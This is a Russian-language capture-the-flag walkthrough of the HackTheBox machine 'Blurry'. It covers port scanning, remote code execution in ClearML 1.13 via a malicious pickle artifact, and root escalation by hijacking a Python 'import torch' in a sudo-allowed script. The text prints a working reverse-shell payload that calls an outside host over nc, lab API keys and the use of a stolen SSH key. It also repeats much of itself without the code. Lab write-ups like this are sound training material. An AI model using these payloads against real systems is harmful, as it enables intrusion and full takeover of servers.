stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу эксплуатацию свежего бага в платформе для управления нейросетями ClearML. Эта уязвимость позволит нам получить возможность удаленного выполнения команд на сервере. А затем заюзаем уязвимый импорт в программе на Python и повысим привилегии в Linux.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Нашлось всего два открытых порта:
или Зарегистрируйся. Добавим новый поддомен в файл /etc/hosts и просмотрим сайт в браузере.
Главная страница сайта app.blurry.htb
Нас встречает сервис ClearML.
Главная панель ClearML
Первым делом определяем версию фреймворка. Обычно ее можно найти на странице с настройками, в разделе описания или в профиле пользователя. В случае с ClearML подошел третий вариант.
Версия фреймворка
Наша версия — 1.13. Проверим, есть ли для нее готовые эксплоиты.
Поиск эксплоитов в Google
Первая же Для просмотра ссылки Войдиили Зарегистрируйся из Google выводит нас на Для просмотра ссылки Войди или Зарегистрируйся.
Чтобы воспроизвести эту атаку, нам нужно настроить ClearML локально. Для этого сперва получим конфиг в меню Settings → Workspace → Create new credentials.
Страница Workspace
Конфиг для подключения
В конфиге есть новые поддомены, поэтому обновляем запись в файле /etc/hosts.
Так как будем работать с ClearML на своей машине, сперва нужно установить необходимые пакеты.
А теперь настроим ClearML. Для этого запустим clearml-init и при запросе учетных данных вставим весь полученный конфиг.
Подключение к ClearML
Для эксплуатации уязвимости воспользуемся эксплоитом, который выполнит реверс‑шелл.
Запустим листенер:
И выполним код.
Эксплуатация уязвимости
Страница проекта
Однако код не выполняется. Нам нужно подгадать момент, когда пользователь начинает работать с проектом. Если запустить эксплоит в это время, он сработает и мы получим сессию на наш листенер.
Страница проекта
Выполнение эксплоита и получение сессии
У нас есть сессия пользователя jippity, и мы можем забрать первый флаг.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, пройдемся по важным моментам.
У текущего пользователя сохранен приватный SSH-ключ /home/jippity/.ssh/id_rsa.
SSH-ключ пользователя
Для группы текущего пользователя доступна запись в каталог /models.
Каталоги, доступные для записи группе
В sudoers есть запись, позволяющая запустить команду /usr/bin/evaluate_model /models/*.pth с высокими привилегиями без ввода пароля.
Настройки sudoers
Сохраняем ключ SSH на свою машину, назначаем права chmod 0600 id_rsa и подключаемся по SSH. Так мы получим стабильную полноценную командную оболочку.
Теперь разберемся с исполняемым файлом. Утилита file сообщает, что это обычный скрипт на Bash. Внутри скрипта выполняется /models/evaluate_model.py, которому передается файл Pickle.
Содержимое файла evaluate_model.py
В каталоге /models, куда мы имеем право записи, уже присутствует pickle-файл demo_model.pth, который можно будет использовать для теста.
Содержимое каталога /models
Проанализируем сам скрипт evaluate_model.py. Сразу обратим внимание на первую строку — import torch. Если мы создадим в каталоге со скриптом файл torch.py, то он будет выполнен перед всем скриптом.
Содержимое файла evaluate_model.py
В файл torch.py запишем код, который будет запускать командную оболочку Bash. Так как у скрипта будут высокие привилегии, при запуске evaluate_model создастся шелл в контексте пользователя root.
Флаг рута
Машина захвачена!
warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.19 blurry.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Нашлось всего два открытых порта:
- 22 — служба OpenSSH 8.4p1;
- 80 — веб‑сервер Nginx 1.18.0.
10.10.11.19 blurry.htb app.blurry.htb

Нас встречает сервис ClearML.
Точка входа
ClearML — это фреймворк для трекинга ML-экспериментов, позволяющий отслеживать метрики машинного обучения, хранить и предоставлять по запросу модели, воспроизводить эксперименты и визуализировать результаты. Вводим любое имя и получаем доступ к панели ClearML.
Первым делом определяем версию фреймворка. Обычно ее можно найти на странице с настройками, в разделе описания или в профиле пользователя. В случае с ClearML подошел третий вариант.

Наша версия — 1.13. Проверим, есть ли для нее готовые эксплоиты.

Первая же Для просмотра ссылки Войди
Точка опоры
В ClearML используется пакет ClearML для Python, через который происходит взаимодействие с сервером по API. Этот пакет использует встроенный в Python модуль Pickle, отвечающий за сериализацию и десериализацию объектов. Атакующий может создать файл Pickle, содержащий произвольный код, и загрузить его в качестве артефакта в проект через API. Затем при вызове метода get класса Artifact файл .pkl будет десериализован, что приведет к выполнению заложенного кода.Чтобы воспроизвести эту атаку, нам нужно настроить ClearML локально. Для этого сперва получим конфиг в меню Settings → Workspace → Create new credentials.


В конфиге есть новые поддомены, поэтому обновляем запись в файле /etc/hosts.
10.10.11.19 blurry.htb app.blurry.htb files.blurry.htb api.blurry.htb
Так как будем работать с ClearML на своей машине, сперва нужно установить необходимые пакеты.
pip install clearml
А теперь настроим ClearML. Для этого запустим clearml-init и при запросе учетных данных вставим весь полученный конфиг.
Код:
api {
web_server: http://app.blurry.htb
api_server: http://api.blurry.htb
files_server: http://files.blurry.htb
credentials {
"access_key" = "9ZJL1UC8DOP3UJJRUJBM"
"secret_key" = "fLPHiGutlDvkULEQlo65XlP5azqSvVTlXW7yeKJGf4rjOzAEb4"
}
}

Для эксплуатации уязвимости воспользуемся эксплоитом, который выполнит реверс‑шелл.
Код:
from clearml import Task
import pickle, os
class RunCommand:
def reduce(self):
return (os.system, ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.16.73 4321 >/tmp/f',))
command = RunCommand()
task = Task.init(project_name='Black Swan', task_name='pickle_artifact_upload', tags=["review"])
task.upload_artifact(name='pickle_artifact', artifact_object=command, retries=2, wait_on_upload=True, extension_name=".pkl")
Запустим листенер:
rlwrap nc -nlvp 4321
И выполним код.


Однако код не выполняется. Нам нужно подгадать момент, когда пользователь начинает работать с проектом. Если запустить эксплоит в это время, он сработает и мы получим сессию на наш листенер.


У нас есть сессия пользователя jippity, и мы можем забрать первый флаг.

Локальное повышение привилегий
Теперь нам необходимо собрать информацию. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. В выводе будет много информации, пройдемся по важным моментам.
У текущего пользователя сохранен приватный SSH-ключ /home/jippity/.ssh/id_rsa.

Для группы текущего пользователя доступна запись в каталог /models.

В sudoers есть запись, позволяющая запустить команду /usr/bin/evaluate_model /models/*.pth с высокими привилегиями без ввода пароля.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.
Сохраняем ключ SSH на свою машину, назначаем права chmod 0600 id_rsa и подключаемся по SSH. Так мы получим стабильную полноценную командную оболочку.
ssh -i id_rsa
jippity@blurry.htb
Теперь разберемся с исполняемым файлом. Утилита file сообщает, что это обычный скрипт на Bash. Внутри скрипта выполняется /models/evaluate_model.py, которому передается файл Pickle.

В каталоге /models, куда мы имеем право записи, уже присутствует pickle-файл demo_model.pth, который можно будет использовать для теста.

Проанализируем сам скрипт evaluate_model.py. Сразу обратим внимание на первую строку — import torch. Если мы создадим в каталоге со скриптом файл torch.py, то он будет выполнен перед всем скриптом.

В файл torch.py запишем код, который будет запускать командную оболочку Bash. Так как у скрипта будут высокие привилегии, при запуске evaluate_model создастся шелл в контексте пользователя root.
Код:
echo 'import os; os.system("bash")' > /models/torch.py
sudo /usr/bin/evaluate_model /models/demo_model.pth

Машина захвачена!